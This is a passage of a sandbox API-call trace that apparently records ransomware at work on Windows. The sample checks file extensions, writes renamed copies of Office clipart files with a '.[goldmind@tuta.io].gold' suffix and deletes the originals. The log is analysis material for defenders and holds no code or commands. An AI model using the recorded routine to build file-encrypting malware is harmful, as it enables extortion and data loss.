(lpString=".xls") returned 4 [0104.005] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString=".xlsx") returned 5 [0104.006] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0104.006] lstrlenW (lpString=".ppt") returned 4 [0104.006] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.006] lstrlenW (lpString=".zip") returned 4 [0104.006] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString=".rar") returned 4 [0104.006] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString=".bz2") returned 4 [0104.006] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString=".7z") returned 3 [0104.006] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.006] lstrlenW (lpString=".dbf") returned 4 [0104.006] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.006] lstrlenW (lpString=".1cd") returned 4 [0104.006] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0104.006] lstrlenW (lpString=".jpg") returned 4 [0104.006] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.006] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0104.006] lstrlenW (lpString="J0101864.BMP") returned 12 [0104.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.007] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31968) returned 1 [0104.007] CloseHandle (hObject=0x3b4) returned 1 [0104.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0104.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.007] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.007] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.008] GetLastError () returned 0x0 [0104.008] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0104.009] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0104.010] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.010] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.011] SetEndOfFile (hFile=0x198) returned 1 [0104.011] CloseHandle (hObject=0x198) returned 1 [0104.011] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.011] SetEndOfFile (hFile=0x3b4) returned 1 [0104.013] CloseHandle (hObject=0x3b4) returned 1 [0104.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0104.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.013] lstrlenW (lpString=".doc") returned 4 [0104.014] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".docx") returned 5 [0104.014] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0104.014] lstrlenW (lpString=".pdf") returned 4 [0104.014] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".xls") returned 4 [0104.014] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".xlsx") returned 5 [0104.014] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0104.014] lstrlenW (lpString=".ppt") returned 4 [0104.014] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString=".zip") returned 4 [0104.014] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".rar") returned 4 [0104.014] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".bz2") returned 4 [0104.014] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".7z") returned 3 [0104.014] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString=".dbf") returned 4 [0104.014] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString=".1cd") returned 4 [0104.014] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString=".jpg") returned 4 [0104.014] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.014] lstrlenW (lpString=".doc") returned 4 [0104.014] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".docx") returned 5 [0104.014] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0104.014] lstrlenW (lpString=".pdf") returned 4 [0104.014] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".xls") returned 4 [0104.014] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString=".xlsx") returned 5 [0104.014] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0104.014] lstrlenW (lpString=".ppt") returned 4 [0104.014] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.336] lstrlenW (lpString=".zip") returned 4 [0104.336] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.336] lstrlenW (lpString=".rar") returned 4 [0104.336] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.336] lstrlenW (lpString=".bz2") returned 4 [0104.336] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.336] lstrlenW (lpString=".7z") returned 3 [0104.336] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.336] lstrlenW (lpString=".dbf") returned 4 [0104.336] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.336] lstrlenW (lpString=".1cd") returned 4 [0104.336] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0104.336] lstrlenW (lpString=".jpg") returned 4 [0104.336] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.336] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.336] lstrlenW (lpString="J0103850.WMF") returned 12 [0104.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.564] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=23596) returned 1 [0104.564] CloseHandle (hObject=0x3b4) returned 1 [0104.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0104.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.571] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.571] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.571] GetLastError () returned 0x0 [0104.572] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0104.584] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5c30, lpOverlapped=0x0) returned 1 [0104.584] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.584] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.585] SetEndOfFile (hFile=0x3c8) returned 1 [0104.585] CloseHandle (hObject=0x3c8) returned 1 [0104.585] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.585] SetEndOfFile (hFile=0x3a8) returned 1 [0104.589] CloseHandle (hObject=0x3a8) returned 1 [0104.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0104.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.616] lstrlenW (lpString=".doc") returned 4 [0104.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.616] lstrlenW (lpString=".docx") returned 5 [0104.616] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.616] lstrlenW (lpString=".pdf") returned 4 [0104.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString=".xls") returned 4 [0104.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.617] lstrlenW (lpString=".xlsx") returned 5 [0104.617] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.617] lstrlenW (lpString=".ppt") returned 4 [0104.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".zip") returned 4 [0104.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.617] lstrlenW (lpString=".rar") returned 4 [0104.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString=".bz2") returned 4 [0104.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString=".7z") returned 3 [0104.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".dbf") returned 4 [0104.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".1cd") returned 4 [0104.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".jpg") returned 4 [0104.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".doc") returned 4 [0104.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString=".docx") returned 5 [0104.617] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.617] lstrlenW (lpString=".pdf") returned 4 [0104.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString=".xls") returned 4 [0104.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.617] lstrlenW (lpString=".xlsx") returned 5 [0104.617] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.617] lstrlenW (lpString=".ppt") returned 4 [0104.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.617] lstrlenW (lpString=".zip") returned 4 [0104.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.618] lstrlenW (lpString=".rar") returned 4 [0104.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.618] lstrlenW (lpString=".bz2") returned 4 [0104.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.618] lstrlenW (lpString=".7z") returned 3 [0104.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.618] lstrlenW (lpString=".dbf") returned 4 [0104.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.618] lstrlenW (lpString=".1cd") returned 4 [0104.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0104.618] lstrlenW (lpString=".jpg") returned 4 [0104.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.618] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.618] lstrlenW (lpString="J0105246.WMF") returned 12 [0104.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0104.618] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=19328) returned 1 [0104.619] CloseHandle (hObject=0x3a0) returned 1 [0104.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0104.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0104.619] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.619] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0104.620] GetLastError () returned 0x0 [0104.620] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0104.623] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0104.624] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.624] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.624] SetEndOfFile (hFile=0x3ac) returned 1 [0104.624] CloseHandle (hObject=0x3ac) returned 1 [0104.624] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.624] SetEndOfFile (hFile=0x3a0) returned 1 [0104.626] CloseHandle (hObject=0x3a0) returned 1 [0104.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.627] lstrlenW (lpString=".doc") returned 4 [0104.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString=".docx") returned 5 [0104.627] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.627] lstrlenW (lpString=".pdf") returned 4 [0104.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString=".xls") returned 4 [0104.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.627] lstrlenW (lpString=".xlsx") returned 5 [0104.627] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.627] lstrlenW (lpString=".ppt") returned 4 [0104.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.627] lstrlenW (lpString=".zip") returned 4 [0104.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.627] lstrlenW (lpString=".rar") returned 4 [0104.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString=".bz2") returned 4 [0104.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString=".7z") returned 3 [0104.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.627] lstrlenW (lpString=".dbf") returned 4 [0104.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.627] lstrlenW (lpString=".1cd") returned 4 [0104.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".jpg") returned 4 [0104.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".doc") returned 4 [0104.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString=".docx") returned 5 [0104.628] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0104.628] lstrlenW (lpString=".pdf") returned 4 [0104.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString=".xls") returned 4 [0104.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.628] lstrlenW (lpString=".xlsx") returned 5 [0104.628] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0104.628] lstrlenW (lpString=".ppt") returned 4 [0104.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0104.628] lstrlenW (lpString=".zip") returned 4 [0104.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.628] lstrlenW (lpString=".rar") returned 4 [0104.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString=".bz2") returned 4 [0104.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.628] lstrlenW (lpString=".7z") returned 3 